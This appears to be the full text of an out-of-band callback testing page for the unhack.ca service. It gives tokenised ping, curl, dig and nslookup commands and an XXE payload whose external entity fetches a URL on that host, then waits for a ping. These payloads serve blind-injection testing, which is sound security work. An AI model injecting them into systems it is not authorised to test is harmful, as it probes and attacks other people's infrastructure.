$ ping -c1 -p 0095a0c222311a960165af6190ccfd00 unhack.ca
 
$ curl http://unhack.ca/p/95a0c222311a960165af6190ccfd
 
$ dig 95a0c222311a960165af6190ccfd @unhack.ca
 
$ dig 95a0c222311a960165af6190ccfd.ns.unhack.ca
 
C:\> nslookup 95a0c222311a960165af6190ccfd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/95a0c222311a960165af6190ccfd">]>
    <foo>&xxe;</foo>
Waiting for ping...